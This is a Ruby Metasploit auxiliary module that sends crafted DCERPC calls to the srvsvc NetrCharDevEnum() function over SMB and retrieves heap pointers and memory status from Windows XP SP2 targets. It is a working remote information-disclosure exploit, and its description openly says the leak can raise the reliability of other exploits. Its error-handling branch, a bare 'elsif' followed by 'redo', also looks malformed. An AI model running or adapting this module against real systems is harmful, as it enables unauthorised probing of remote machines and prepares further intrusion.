require 'msf/core'

module Msf

class Auxiliary::Dos::Windows::Smb::Srvsvc_NetrCharDevEnum_heap < Msf::Auxiliary

	include Auxiliary::Dos
	include Exploit::Remote::DCERPC	
	include Exploit::Remote::SMB


	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft NetrCharDevEnum() Memory Pointer Disclosure',
			'Description'    => %q{
				This module utilises the NetrCharDevEnum() method to retrieve information on the memory 
				status and heap pointers of the target machine. This method is available on the interface
				defined by 4b324fc8-1670-01d3-1278-5a47bf6ee188, v3.0.

				Confirmed against:
				Windows XP SP2

				Doesn't work (0x00200000) against:
				Windows XP SP2 64bit
				Windows XP SP3
				Windows Server 2003
				Windows Vista

				It is known to be exposed through RPC over the Server Service (srvsvc). 
				
				This could be used to create a context based payload key, establish the patch level/language pack, 
				or to gain an insight into remote memory layout to increase exploit reliability.
			},
			
			'Author'         => [ 'Derek Soedoer', 'Rhys Kidd' ],
			'License'        => 'PRIVATE AND CONFIDENTIAL (C) 2007',
			'Version'        => '$Revision: 1 $',
			'References'     =>
				[

				],
			'DisclosureDate' => 'Nov 29 2006'
		))	
	end

	def run
		connect
		smb_login
		
		handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])

		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle}\r\n")

		#
		# /* Function: 0x00 */
		# WERROR srvsvc_NetCharDevEnum(
		#	[in]   [string,charset(UTF16)] uint16 *server_unc, 
		#	[in,out]   uint32 level,
		#	[in,out,switch_is(level)]   srvsvc_NetCharDevCtr ctr,
		#	[in]   uint32 max_buffer,
		#	[out]   uint32 totalentries,
		#	[in,out]   uint32 *resume_handle
		# );
		#
		# typedef union {
		#	[case(0)] srvsvc_NetCharDevCtr0 *ctr0;
		#	[case(1)] srvsvc_NetCharDevCtr1 *ctr1;
		#	[default] ;
		# } srvsvc_NetCharDevCtr;
		#
		
		randnum = rand(0xf0)+1

		stubdata =
				NDR.uwstring( Rex::Text.rand_text(20) ) +
				NDR.long(1) +
				NDR.wstring_prebuilt( Rex::Text.rand_text(2) ) +
				NDR.long(randnum) +		# This the value we return a pointer too.
				NDR.long(rand(0xf0)+1) +
				NDR.long(rand(0xf0)+1)
				
	
		print_status("Calling the vulnerable function NetrCharDevEnum(), value=#{randnum} ...")
		begin
			dcerpc.call(0x00, stubdata)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
		rescue => e
			if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
				raise e
			elsif
				print_error(e)
				redo 
			end
		end
				
		if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
			print_status( "Response received from remote target: \r\n" )
			
			complete_response = Rex::Text.to_hex(dcerpc.last_response.stub_data, '')
			
			for i in 1..7
				complete_response.insert(i*8+(i-1), ' ')			
			end
			
			print_status( complete_response + "\r\n" )
		else
			print_error( "Unexpected response!" )
		end

		disconnect
	end

end
end